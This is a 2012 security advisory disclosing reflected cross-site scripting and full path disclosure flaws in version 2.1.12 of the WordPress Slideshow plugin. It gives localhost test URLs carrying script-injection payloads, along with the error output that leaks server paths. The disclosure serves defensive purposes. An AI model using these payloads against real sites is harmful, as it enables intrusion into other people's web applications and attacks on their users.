WordPress Slideshow 2.1.12 Cross Site Scripting / Path Disclosure WordPress Slideshow 2.1.12 Cross Site Scripting / Path Disclosure

Author: Janek Vind "waraxe"
Date: 17. October 2012
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-92.html


Description of vulnerable target:
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Slideshow provides an easy way to integrate a slideshow for any WordPress
installation.

Any image can be loaded into the slideshow by picking it from the WordPress
media page, even images you've already uploaded can be inserted into your
slideshow right away!

http://wordpress.org/extend/plugins/slideshow-jquery-image-gallery/

Affected version: 2.1.12

###############################################################################
1. Reflected XSS in "views/SlideshowPlugin/slideshow.php"
###############################################################################

Reasons: 
 1. Uninitialized variables "$randomId", "$slides" and "$settings"
 2. Improper encoding or escaping of output
Attack vectors: User-supplied parameters "randomId", "slides" and "settings"
Preconditions: PHP directive register_globals=on


Tests:

http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?randomId="><script>alert(123);</script>
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?slides[0][type]=text&slides[0][title]=<script>alert(123);</script>
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php?settings=<body+onload='alert(123)'>


###############################################################################
2. Reflected XSS in "views/SlideshowPluginPostType/settings.php"
###############################################################################

Reasons: 
 1. Uninitialized variables "$settings" and "$inputFields"
 2. Improper encoding or escaping of output
Attack vectors: User-supplied parameters "settings" and "inputFields"
Preconditions: PHP directive register_globals=on


Tests:

http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/settings.php?settings[][group]=<script>alert(123);</script>
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/settings.php?settings[0][]&inputFields[0]=<script>alert(123);</script>


###############################################################################
3. Reflected XSS in "views/SlideshowPluginPostType/style-settings.php"
###############################################################################

Reasons: 
 1. Uninitialized variables "$settings" and "$inputFields"
 2. Improper encoding or escaping of output
Attack vectors: User-supplied parameters "settings" and "inputFields"
Preconditions: PHP directive register_globals=on


Tests:

http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/style-settings.php?settings[0][3]=<script>alert(123);</script>
http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/style-settings.php?settings[0]&inputFields[0]=<script>alert(123);</script>


###############################################################################
4. Full Path Disclosure in multiple scripts
###############################################################################

Reasons: Direct request to php script triggers pathname leak in error message
Preconditions: PHP directive display_errors=on
Result: Information Exposure Through an Error Message

Tests:

http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/slideshow.php

Fatal error: Call to undefined function add_action() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\slideshow.php on line 34

http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/classes/SlideshowPluginWidget.php

Fatal error: Class 'WP_Widget' not found in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\classes\SlideshowPluginWidget.php on line 8

http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPlugin/slideshow.php

Fatal error: Class 'SlideshowPluginMain' not found in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPlugin\slideshow.php on line 111

http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/information.php

Fatal error: Call to undefined function _e() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\information.php on line 1

http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/settings.php

Warning: Invalid argument supplied for foreach() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\settings.php on line 3

http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/slides.php

Fatal error: Class 'SlideshowPluginSlideInserter' not found in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\slides.php on line 3

http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/style-settings.php

Warning: Invalid argument supplied for foreach() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\style-settings.php on line 2

http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginPostType/support-plugin.php

Fatal error: Call to undefined function _e() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginPostType\support-plugin.php on line 3

http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginSlideInserter/insert-image-button.php

Fatal error: Call to undefined function _e() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginSlideInserter\insert-image-button.php on line 1

http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginSlideInserter/insert-text-button.php

Fatal error: Call to undefined function _e() in 
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginSlideInserter\insert-text-button.php on line 1

http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginSlideInserter/insert-video-button.php

Fatal error: Call to undefined function _e() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginSlideInserter\insert-video-button.php on line 1

http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginSlideInserter/search-popup.php

Fatal error: Call to undefined function submit_button() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginSlideInserter\search-popup.php on line 6

http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginUpload/upload-button.php

Fatal error: Call to undefined function _e() in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginUpload\upload-button.php on line 1

http://localhost/wp342/wp-content/plugins/slideshow-jquery-image-gallery/views/SlideshowPluginWidget/form.php

Fatal error: Using $this when not in object context in
C:\apache_www\wp342\wp-content\plugins\slideshow-jquery-image-gallery\views\SlideshowPluginWidget\form.php on line 2



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